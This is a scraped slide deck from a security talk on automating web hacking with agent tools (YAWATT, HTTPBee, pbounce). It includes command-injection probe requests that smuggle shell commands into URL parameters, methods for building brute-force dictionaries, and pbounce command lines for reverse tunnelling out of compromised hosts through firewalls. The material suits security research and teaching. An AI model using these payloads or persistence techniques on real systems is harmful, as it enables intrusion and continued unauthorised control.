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Hacking techniques automation

Hacking techniques automation. Yarochkin Fyodor. Guard-Info. Meder Kydyraliev O0o.nu sec. Singapore. I will talk about my research interests during past year or so .. So, why automate “hacking” ? - design hacker’s personal agent - leverage time use - other uses of automation. Agenda.

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Hacking techniques automation

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  1. Hacking techniques automation Yarochkin Fyodor. Guard-Info Meder Kydyraliev O0o.nu sec. Singapore

  2. I will talk about my research interests during past year or so.. So, why automate “hacking” ?- design hacker’s personal agent- leverage time use- other uses of automation

  3. Agenda • Agents – the concept of “Hacker’s personal Assistant” and how I am going to get it working • YAWATT – concepts, knowledge base, planning • Implementation - YAWATT, httpbee, pbounce • Notes on distributed approach • Notes on automation • Hacking web applications with httpbee and YAWATT • Maintaining control of compromised hosts with pbounce

  4. Agents • Why agents • Why “Hacker personal Assistant” • How our framework is to be designed

  5. Agent inner workings diagram(generic)

  6. Inter Agent framework • We have roles: • Facilator • Requesting agents • Service Agents • Meta agents (used for planning)

  7. Inter Agent framework diagram

  8. Service agents • Yawatt – web analysis, data mining • HttpBee – swiss knife for web application testing • Pbounce – advanced tunneling

  9. YAWATT focus is around web applications, why? • HTTP/HTTPS services are very common and usually legimate (services that the company is usually aiming to provide) • Web applications often are complex • Often programmed by non-professionals • System Administrators are not programmers and cant fix bad code.. Conclusion is..

  10. the Web applications - the largest hole to get through • The code is bad • Q/A not security oriented • Must get product to market ASAP • Firewalls are there – but they can’t help • IDS are there – but they are blind (HTTPS) • Application “firewalls” - stop limited number of web application attacks (basic user input validation), but are useless when it comes to detection of logical vulnerabilities

  11. Requirements to the framework • Automated methods and tools to test security • Ability to ‘emulate’ hacker attacks (“think like a hacker would do”) • Ability to extract, store and transfer knowledge from “expensive” security professionals (aka “hackers”) to cheap computer automation • Ability to have real-time interaction with testing process

  12. Software agents • Autonomous functionality • Cooperation capabilities • Learning and knowledge management capabilities More to the feature ‘wishlist’ • Let human do what he can do faster and “learn from human” -> knowledge transfer • Deal with uncertainty in “intelligent way”

  13. YAWATT design blocks • YAWATT knowledge base - Efficient knowledge base for “testing” methods, knowledge about testing targets, infrastructure and so on – implemented as • Efficient planning abilities (work in progress)

  14. Knowledge representation in YAWATT • Ontology is represented with Time, Objects (hosts, networks, applications, urls, etc), Actions • Shall be added: beliefs (intuitive guessings)

  15. YAWATT knowledge base • Still in design process. • Httpbee (working horse of yawatt, also – an agent) – talks to KB via API • Knowledge can be accessed or added via set of requests • TELL(X, Y) • ASK(X) • QUERY(X) (KB operates on ‘entities’ which are objects within target network. An application, host, user, can be an ‘entity’, different entities may have different properties. Implementation – single table is used to store ‘entities’ and their types. Separate tables are used to keep properties of different agents

  16. Planning in YAWATT • Currently yawatt agent system is designed as centralized system – httpbee instances talk to YAWATT server (which maintains KB) • P2P architecture is in TODO • Agent actions can be later planned, when KB is enriched with the data from human security analysts • Inference engine/planner is at design stage (need to think how to represent analyst knowledge and actions to be taken in general form)

  17. Details on tools of tradeYAWATT, httbee, pbounce

  18. What we want to achieve • Learning capabilities • Control of software agents • Intelligent data management • Interesting Visualization (maybe?) • Data aggregation, analysis (for reporting etc)

  19. YAWATT – one of learning methods is learning from user sessions • User sessions – collections of user’s requests and responses (url, name/value pairs, session information and selective HTTP protocol data) • Classified user session data include semantic classification of URL, parameters, responses and HTTP protocol data (server type, backend system(s) if visible, “unusual” HTTP headers detected and included)

  20. YAWATT: Automation • Application content is learnt from user sessions (data feeders: proxies, enumeration tools) • Real-time content analysis with additional verification

  21. YAWATT – ideas on raw data classification (of entities) • User session data is classified by: • Semantic and functional classification of URL • HTTP protocol classificators (server type, cookies ..) • Session classificators • Input data classification – type, semantics • Output classification (application error detection, redirects, “bogus’ responses etc)

  22. YAWATT: real-time classification

  23. YAWATT: Testing process • Testing with HTTPBee (introduced later) • Testing with YAWATT Plugins (tests) could be executed during the collection of user session data if any of user session data triggers certain plugin • Plugins (tests) are executed on demand, when user session data is completed

  24. YAWATT: Intelligence components • Web application components (URL) classification • Semantic classification for web application input data • Use of Latent Semantic Indexing Algorithm in response analysis In response analyzers. • Use of queries to external sources, search engines • Generation of target-specific bruteforce dictionaries

  25. YAWATT:Input data classification

  26. YAWATT: Use of classified user session data

  27. YAWATT Communication layer: • Originally odified version of spread toolkit used as base (www.spread.org) • Replaced with Yawatt Data Excahnge Server, running over HTTP

  28. YAWATT: architecture

  29. Arbitrary data collection (from YAWATT Database) • Aside from application vulnerabilities, other things of interest are: • Email addresses, user ids that could be seen within web content • Domain names (within web pages, comments, binary files, etc) • Building ‘target-oriented’ dictionary files (used by brute-force cracking modules)

  30. How the targeted dictionaries for brute-force attacks are generated: • A statistical information extraction method is applied: • Step 1:Random similarly styled texts in the same language as the target application content, are analyzed and the statistical occurrence of each word is calculated • Step 2:Statistical occurrence of each word within the target website is calculated • Step 3:The dictionary is produced by selecting those words which probability produced in Step 1 and Step 2 is significally different

  31. YAWATT: (hands on) • You will need linux, burp proxy, YAWATT tarball. • Start YAWATT Collector, start burp proxy with YAWATT plugin loaded. Start browsing • If you see stuff “running” you can try ..

  32. You can try to add your own plugin: • Add your plugin code on the fly (attack automation plugins via subscription mechanism, classification plugins etc): • Can’t be simpler:

  33. YAWATT: visualization (work in progress) (show actual application)

  34. Introducing HTTPBee

  35. HTTPBee High-performance threaded HTTP service testing tool. Designed as ‘swiss-army-knife’ for HTTP services hacking • Scriptable via LUA scripting engine • API for sophisticated data analysis • Command line (or daemon mode, later) • Can be integrated with YAWATT (via scripts, or LUA API later)

  36. HTTPBee: scripting Engine • Simple • High-performance provided by HTTPBee code

  37. HTTPBee API

  38. HTTPBee API

  39. HTTPBee output [+] HttpBee 0.1-pre. (http://o0o.nu)Started at 2007-03-08 01:20 CSTStarting up 3 scanning threads...GET /cmd.php?command=;echo+GOTTALOVETHEEXEC; HTTP/1.0GET /cmd.php?foo=;echo+GOTTALOVETHEEXEC; HTTP/1.0GET /cmd.php?include=;echo+GOTTALOVETHEEXEC; HTTP/1.0GET /cmd.php?file_inc=;echo+GOTTALOVETHEEXEC; HTTP/1.0GET /cmd.php?har=;echo+GOTTALOVETHEEXEC; HTTP/1.0GET /cmd.php?del=;echo+GOTTALOVETHEEXEC; HTTP/1.0GET /cmd.php?cmd=;echo+GOTTALOVETHEEXEC; HTTP/1.0GOT EXECUTION WITH REQUESTGET /cmd.php?command=;echo+GOTTALOVETHEEXEC; Script execution completedall is doneWating for scanning process to stop................................................................................................................................................................................................................................................................done at 2007-03-08 01:20 CST.Total execution time 12 seconds.

  40. Experimenting with HTTPBee • You can try to design your own scripting modules • Analyst knowledge can be represented in form of such scripts

  41. Introducing pbounce Co-work with Meder Kydyraliev

  42. What is pbounce • Advanced port and connection forwarding tool. • Connection encapsulation and multiplexing on demand through a single connection • Pivot mode allows to “pierce” firewalls that allow outgoing connections only. • Small binary footprint. Extremely portable (windows, unixes, binaries packaged) • Remote command execution possibilities

  43. Pbounce – sample architecture • Two instances of pbounce are required. • LiMo instance should run on your machine • PiMo (pivoting mode) instance should run on compromised system • LiMo is the “control center” for PiMo pbounce instances.

  44. PBounce – sample architecture • Pbounce infrastructure setup Internal system LAN Run pbounce in PiMo as: Pbounce –P –R XXX.XXX.XXX.XXX –r 10000 firewall internet Your machine Run pbounce in LiMo as: Pbounce –L 5000 –r 10000

  45. PBounce – binding port • Connect to port 5000 on your machine and issue command: BIND T 22 1022 Port 1022 on your machine will be associated With port 22 on

  46. PBounce – other features • If LiMo node dies, PiMo instance will continuesly try to establish connection • PiMo instance may be scripted via external script to obtain LiMo address from external source (i.e. post to a newsgroup) • Primitive data scrambling with –k [key] is supported (this is not encryption. But obfuscation!) • Pbounce supports HTTP proxy with CONNECT method availability (-F proxyIP, -f proxyport)

  47. Code availability: • PBounce • http://o0o.nu/~meder/index.php?pg=pbounce • HTTPBee • http://o0o.nu/httpbee • YAWATT • http://o0o.nu/YAWATT

  48. Other research interests • SS7 security • Working on scanning tools • Ruby binding for SCTP

  49. Questions and Answers Sample questions, pick one: ;---------) • Why another hacking tool? • Can you do X too..? • Can X be integrated too ..? • This presentation is boring crap, any excuse ..? 

  50. Thanks • Thanks for your patience • Send me email if you like the stuff 

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